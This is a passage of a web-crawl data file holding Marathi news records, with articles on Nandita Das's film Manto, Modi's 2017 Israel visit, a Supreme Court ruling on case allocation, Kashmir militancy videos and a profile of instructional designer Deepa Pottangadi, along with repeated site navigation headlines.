शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00282.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AB%E0%A5%87%E0%A4%AE%E0%A4%BF%E0%A4%A8%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%9F-%E0%A4%85%E0%A4%B8%E0%A4%A3%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%AA%E0%A5%87%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BE-%E0%A4%B9/", "date_download": "2018-09-25T17:50:14Z", "digest": "sha1:P5I3RZJRPORT5LRJO5NWCL5JRBQXV7CA", "length": 10372, "nlines": 143, "source_domain": "www.dainikprabhat.com", "title": "फेमिनिस्ट असण्यापेक्षा ह्युमनिटेरियन असायला पाहिजे – नंदिता दास | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nफेमिनिस्ट असण्यापेक्षा ह्युमनिटेरियन असायला पाहिजे – नंदिता दास\nनंदिता दासच्या दिग्दर्शनाखाली प्रसिद्ध लेखक शहादत हसन मंटोच्या जीवनावरील “मंटो’ हा सिनेमा 21 सप्टेंबरला येतो आहे. मंटोनी त्यांच्या आयुष्यात इतके विपुल लेखन केले आहे, की त्यापैकी कोणत्या साहित्यावर लक्ष केंद्रीत करायचे आणि प्रेक्षकांसमोर ते कसे मांडायचे हे ठरवण्यासाठी नंदिताला तब्बल 6 महिने मंटोच्या साहित्याचा अभ्यास करायला लागला होता. सिनेमामध्ये मंटोचा रोल नवाजुद्दीन सिद्दीकीसारखा कसलेला अभिनेता साकारत असल्यामुळे मंटोच्या व्यक्तिरेखेमध्ये कोणतीही उणीव राहणार नाही, याची खात्री होती. पण तरिही मंटोचे चरित्र हा अभ्यासण्याचा एक स्वतंत्र अभ्यास असल्याने नंदिताला या सिनेमासाठी जरा जास्तच कष्ट घ्यायला लागले.\nनंदिताची आतापर्यंतची ओळख स्त्रीमुक्‍तीवादी किंवा बंडखोर अभिनेत्री, दिग्दर्शिका म्हणून प्रस्थापित झाली आहे. पण आपल्याला फेमिनिस्ट म्हणण्यापेक्षा ह्युमॅनिटेरियन-मानवतावादी म्हटले तर अधिक योग्य होईल, असे ती म्हणते.\nस्त्रियांच्या विषयांवर काम करताना पुरुषांबरोबरची दोस्तीही कायम असायला पाहिजे. पुरुषांना वाईटच म्हणायचे, अशा झापडबंद दृष्टिकोनालाच तिचा विरोध आहे. जर एखादा पुरुष बरोबर असेल आणि स्त्री चुकीची असेल, तर आपण त्या पुरुषाचीच बाजू घेऊ, असे तिने ठामपणे सांगितले. पण आपल्या समाजामध्ये स्त्री आणि पुरुषांबाबत इतक्‍या टोकाची असमानता आहे की स्त्रीला समान दर्जा मिळवून देण्यासाठी समाजातील प्रत्येकालाच थोडेसे फेमिनिस्ट व्हावे लागेल असाच तिचा आग्रह आहे.\nनंदिताने दुसरा सिनेमा बनवायला 10 वर्षांचा कालावधी का जाऊ दिला, असे विचारल्यावर आपल्याला काहीही सिद्ध करायची घाई नव्हती. आपले पाय जमिनीवरच राहू द्यायचे होते, असे उत्तर तिने दिले. एक चांगली अॅक्‍ट्रेस आहे म्हणूनच हिंदीऐवजी प्रादेशिक सिनेमांमधूनही तिने काम केले आहे. प्रोफेशनल दृष्टीने तिला खूप पैसे आणि प्रसिद्धी कमवता येऊ शकली असती. पण समाधान तिला तिच्या मोजक्‍या सिनेमांमधील अभिनय आणि दिग्दर्शनातूनच अधिक मिळते आहे. हा परिपक्‍व विचार आपल्याला आपल्या पालकांकडून मिळाला आहे. त्यांनी नेहमीच आपले म्हणणे मांडण्याचे स्वातंत्र्य दिले, म्हणूनच विचारस्वातंत्र्याचा आनंद तिला मिळाला. केवळ रंगरुपामुळे हरखून जाणाऱ्या मुलींना मात्र जगाबरोबरच चालावे लागते. मात्र ती स्वतः सावळी असल्यानेच हटके विचार करण्यास भाग पाडल्याचेही तिने आवर्जुन सांगितले.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleकळंब परिसरात गणपती बाप्पा मोरयाचा जयघोष\nNext articleकेरळ पूरग्रस्तांसाठी धावणाऱ्या डॉ. राऊत यांचा गौरव\nअनुप आणि जसलीनच्या नात्याला कधीच मान्यता देणार नाही: जसलीनचे वडील\n“हलाल” ने फिल्मफेअर पुरस्कारांत पटकावली आठ नामांकने\nप्रसिध्द काॅमेडियन भारती सिंहला ‘डेंग्यू’मुळे केले रूग्णालयात दाखल\nमंटो : एका अस्वस्थ लेखणीची कथा (प्रभात ब्लॉग)\nरोहित शेट्टी साकारणार शिवछत्रपतींच्या जीवनावर चित्रपट\nश्रद्धा कपूर आहे ‘या’ आजाराने त्रस्त\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00283.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/videsh/pm-modi-reach-israel-netanyahu-greets-modi-264339.html", "date_download": "2018-09-25T17:08:55Z", "digest": "sha1:BHAGNMSCD635ZHKXPYKB2LIIAONYKGAY", "length": 15781, "nlines": 132, "source_domain": "lokmat.news18.com", "title": "'आपका स्वागत है, मेरे दोस्त',मोदींचं इस्त्रायलमध्ये जंगी स्वागत", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\n'आपका स्वागत है, मेरे दोस्त',मोदींचं इस्त्रायलमध्ये जंगी स्वागत\n\"आपका स्वागत है मेरे दोस्त\" असं म्हणत इस्रायलचे पंतप्रधान बिन्यामिन नेतान्याहू यांनी मोदींची कडकडून गळा भेट घेतली.\nतेल अवीव, 4 जुलै: पंतप्रधान नरेंद्र मोदी यांचं इस्त्रायल देशानं जंगी स्वागत केलंय. इस्त्रायलला भेट देणारे मोदी हे भारताचे पहिले पंतप्रधान आहेत म्हणूनच इस्त्रायल देशानं विमानतळावरच मोदींच्या स्वागतासाठी जंगी तयारी केली होती. \"आपका स्वागत है मेरे दोस्त\" असं म्हणत इस्रायलचे पंतप्रधान बिन्यामिन नेतान्याहू यांनी मोदींची कडकडून गळा भेट घेतली. मोदींनीही मग हिब्रू भाषेतच त्यांचे आभार मानले. मोदींचा हा तीन दिवसीय इस्त्रायल दौरा ऐतिहासिक असाच असणार आहे.\nस्वतंत्र भारताचे पंतप्रधान प्रथमच इस्त्रायलच्या दौऱ्यावर येत असल्याने त्यांचे पंतप्रधान नेतान्याहू सर्व शिष्टाचार बाजूला ठेवत थेट विमानतळावर येऊन मोंदीचं शाही स्वागत केल्याचं बघायला मिळालं. तसंच भाषणांमध्येही मोदींचा आवर्जून 'माझा मित्र' असा उल्लेखही केला.\n''आमचे भारतावर प्रेम असून तुमची संस्कृती, इतिहास, लोकशाही आणि विकासासाठी असलेली कटीबद्धता याचा आम्हाला प्रचंड आदर आहे,'' असे नेत्यानाहू यांनी स्वागतपर भाषणात म्हटलंय.\nमोदींच्या या इस्त्रायल दौऱ्यामुळे दोन्ही देश आणखी जवळ आले असून यापुढे एकत्र येऊन चांगलं काम करु करू, असंही नेतान्याहू यांनी स्पष्ट केलं. तर इस्रायलचा हा दौरा माझ्यासाठी अभिमानास्पद गोष्ट असल्याचे मोदींनी सांगितलं.\nआर्थिक संबंधांसोबतच संरक्षण क्षेत्रातही दोन्ही देशांचे संबंध आहेत. दहशतवादाविरोधात दोन्ही देश एकत्र असल्याचे मोदींनी नमूद केले. तीन दिवसीय इस्रायल दौऱ्यात पंतप्रधान नरेंद्र मोदी आणि नेतन्याहू यांच्या द्विपक्षीय चर्चेसोबतच अनेक महत्वाचे करारही केले जाणार आहेत. या दौऱ्यात पंतप्रधान मोदी 26/11च्या हल्ल्यात वाचलेल्या मोशेला भेटणार आहेत. मोशे आता 10 वर्षांचा आहे.\nविशेष म्हणजे, इस्त्रायल हा मुस्लिमविरोधी देश म्हणून ओळखला जात असल्यामुळे भारताने आतापर्यंत इस्त्राईलपासून दोन हात दूर राहणेच पसंत केलं होतं. मोदींनी मात्र प्रथमच हा विरोध दूर सारत देशाच्या परराष्ट्रीय धोऱणामध्ये नवा इतिहास रचलाय.\nभारतीय प्रधानमंत्री नरेंद्र मोदी, इजरायल में आपका स्वागत है\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00284.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/national/supreme-court-on-judges-cases-286789.html", "date_download": "2018-09-25T17:49:10Z", "digest": "sha1:BJKFCXN43P7NRE3FG5JA67WMYLOHD7LD", "length": 12311, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "खटल्यांच्या वाटपाचा अधिकार सरन्यायाधीशांनाच : सुप्रीम कोर्ट", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nखटल्यांच्या वाटपाचा अधिकार सरन्यायाधीशांनाच : सुप्रीम कोर्ट\nतीन न्यायमूर्तींच्या खंडपीठानं हा निर्णय दिला. यामध्ये सरन्यायाधीश दिपक मिश्राही होते.\nनव दिल्ली, 11 एप्रिल : सुप्रीम कोर्टात खटल्यांचं न्यायाधीशांकडे वाटप आणि खंडपीठ बनवण्याचा अधिकार हा सरन्यायाधीशांना आहेच, असा महत्त्वपूर्ण निर्णय आज सुप्रीम कोर्टाने दिला.\nतीन न्यायमूर्तींच्या खंडपीठानं हा निर्णय दिला. यामध्ये सरन्यायाधीश दिपक मिश्राही होते. न्यायमूर्ती ए.एम.खानविलकर आणि न्यायमूर्ती डी. वाय. चंद्रचूड या खंडपीठात होते. सरन्यायाधीशांना हा अधिकार घटनेनंच दिलाय, असं कोर्टानं म्हटलंय. वकील अशोक पांडे यांनी याबाबत याचिका केली होती.\nसरन्यायाधीशांनी केसेसचं वाटप करण्याआधी 2 सर्वात वरिष्ठ न्यायमूर्तींशी सल्लामसलत करावी, अशी मागणी या याचिकेत केली होती. ही याचिका कोर्टानं निकाली काढली.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: Suprim courtसरन्यायाधीशसुप्रीम कोर्ट\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00285.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/terrorist/videos/", "date_download": "2018-09-25T16:47:31Z", "digest": "sha1:Y5RDQIYXOGVM7OTB25TBQOEBA3JUPQ6B", "length": 11571, "nlines": 141, "source_domain": "lokmat.news18.com", "title": "Terrorist- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nVIDEO : काश्मीरमध्ये अतिरेक्यांची पोलिसांनाच दहशत, ३ पोलिसांची हत्या\nजम्मू काश्मीरमध्ये दहशतवाद्यांनी अपहरण केलेल्या चार पोलिसांपैकी तिघांची हत्या केलीय.हिजबुल मुजाहिद्दीन दहशतवादी संघटनेनं पोलिसांची हत्या केल्याचा संशय व्यक्त केला जात आहे. काश्मीरमध्ये दहशतवाद्यांनी सरकारी नोकरी सोडा नाहीतर मरायला तयार राहा, अशी धमकी दिली होती.आता काश्मीरमध्ये पोलीस कर्मचाऱ्यांचं राजीनामा सत्र सुरू झालंय. ४ SPO केडरच्या अधिकाऱ्यांनीही राजीनामे दिले आहेत.\n'काश्मीरमधलं सरकार परिस्थिती हाताळू शकलं नाही'\n'मिळून दहशतवादाशी लढा द्यायला हवा'\nजम्मू-काश्मिरमध्ये अजूनही फायरिंग सुरूच...\nश्रीनगरच्या बीएसएफ कँपमध्ये अशी झाली चकमक\nकाश्मीर बंदचा 122वा दिवस\n'पाकची सगळी यंत्रणा दहशतवादासा पोसते'\n'उरी हल्ल्यादरम्यान सुरक्षेत काही त्रुटी'\nसर्जिकल स्ट्राईकचे पुरावे मागून काँग्रेस तोंडघशी पडलंय का\n'पाकिस्तानची नांगी ठेचायलाच हवी'\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00285.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/6f3e096f16/deepa-pottangadi-english-literature-graduate-designer-to-instruction", "date_download": "2018-09-25T17:57:18Z", "digest": "sha1:KHXD6453SUZP52D3TPGQ6S3WXRAU6LXG", "length": 22926, "nlines": 147, "source_domain": "marathi.yourstory.com", "title": "दीपा पोत्तंगडी : इंग्रजी साहित्याची पदवीधर ते इन्स्ट्रक्शनल डिझायनर", "raw_content": "\nदीपा पोत्तंगडी : इंग्रजी साहित्याची पदवीधर ते इन्स्ट्रक्शनल डिझायनर\nदीपा पोत्तंगडी ही अशा महिलेची कथा जिच्या कामाची पद्धत आणि जिद्द तुम्हाला अपार प्रेरणा देवून जाते.\nतुमचा भविष्यावर विश्वास आहे का तुमचं मत राखून ठेवा कदाचित ही गोष्ट वाचल्यानंतर तुम्हाला तुमच्या मताचा फेरविचार करावासा वाटेल.\nआपल्या सगळ्यांच्याच वर्गात असा एक विद्यार्थी असतोच असतो जो नेहमी वर्गात बसतो, जास्तीत जास्त प्रश्न विचारतो आणि शेवटी स्वतःचा एखादा मुर्खपणा दाखवून देतो. होय हे सर्व गुण म्हणजे दीपा पोत्तंगडी. फक्त वर्गाची जागा परिषदांनी घेतलीय, आणि स्वतःला बनवण्याऐवजी ती कदाचित तुम्हाला बनवेल. ती आता बंगळूरूच्या य़ुकॅलिप्टस सिस्टम या कंपनीत इन्स्ट्रक्शनल डिझायनर म्हणून काम करतेय.\nदीपा पोत्तंगडी : कामात सतत व्यग्र\nदीपा पोत्तंगडी : कामात सतत व्यग्र\nसंगणक आणि तंत्रज्ञान दीपाच्या आयुष्यात सहजपणे अवतीर्ण झाले. मात्र, इंग्रजी साहित्यातील पदवी घेतल्यानंतरच. तंत्रज्ञानाच्या प्रेमाशिवाय ही दीपाच्या आयुष्यातील अनेक गोष्टींवर सांगता येण्यासारखे आहे.\nदीपानं तिच्या उच्च माध्यमिक परिक्षेत फारशी चांगली कामगिरी केली नव्हती, त्यामुळं धास्तावलेल्या तिच्या पालकांनी तिला ज्योतिषाकडे नेले. ती संगणक क्षेत्रात आणि उच्च शिक्षणात चांगली कामगिरी करणार असल्याचं ज्योतिषानं सांगितलं. पण यामुळं संतापलेल्या दीपानं बोलपूरच्या शांतिनिकेतन विद्यापीठातून इंग्रजी साहित्याच्या पदवी अभ्यासक्रमाला प्रवेश घेतला. ती आठवणींना उजाळा देत सांगते, “ मी माझ्या विद्यापीठाचं अनेक ठिकाणी प्रतिनिधीत्व केलं. त्यामुळं महाविद्यालयातून बाहेर पडताना मला आत्मविश्वास मिळवून देण्यात याची खूपच मदत झाली.\" पण पदवीनंतर बेरोजगार होण्याची पाळी तिच्यावर आली. काम मिळवून देणारा एखादा कोर्स करावा असं तिला वाटत होतं, त्यासाठी इतर विद्यार्थ्यांप्रमाणं तिनंही एनआयआयटीचा रस्ता धरला. तिनं आपलं नशीब आजमावण्याचा निर्णय घेवून प्रवेश घेतला.\nएनआयआयटीत घेतलेला प्रवेश हा एक विचारपूर्वक घेतलेला निर्णय नाही, तर एक अपघात होता. एनआयआयटीत दीपानं तीन वर्षांच्या जीएनआयआयटी या कोर्सला प्रवेश घेतला आणि तिची २००० साली प्रोग्रॅमिंग लॅन्ग्वेजेसशी ओळख झाली. मग ती या कामाच्या प्रेमात इतकी पडली की तीला संगणक वर्गातून बाहेर खेचून आणावं लागायचं. त्यानंतर तिला एनआयआयटीत प्रशिक्षक म्हणून तिच्या कालिकत या शहरात शिकवण्याची संधी मिळाली, मग तीची बंगळूरूला बदली झाली.\nदीपाला ख-या अर्थानं मोठी संधी मिळाली ती ओरॅकल या कंपनीत इन्स्ट्रक्शनल डिझायन या विषयाची प्रशिक्षक म्हणून. तिची कामावरील निष्ठा आणि सातत्यानं केलेले नविन प्रयोग तिला व्हीएमवेअर क्लाऊड टेक्नॉलॉजी या कंपनीत आणि त्यानंतर युकॅलिप्टस् सिस्टम्स या कपंनीत घेऊन गेले. सध्या ती तिथे नविन अभ्यासक्रम तयार करणा-या पथकाची सल्लागार म्हणून काम करतेय. ती या पथकाचा जणू कणाच... ती नविन अभ्यासक्रम डिझाईन करण्याबरोबरच प्रोडक्ट विकासक आणि प्रकल्प व्यवस्थापक म्हणूनही दस्तावेजांचं काम पहाते.\n“ नविन कोर्स तयार करताना मी अधिकाधिक नविन पद्धतींचा अवलंब करण्याचा प्रयत्न करते. ज्यात ब्लूमची थेअरी, अन्ड्राग़ॉगी 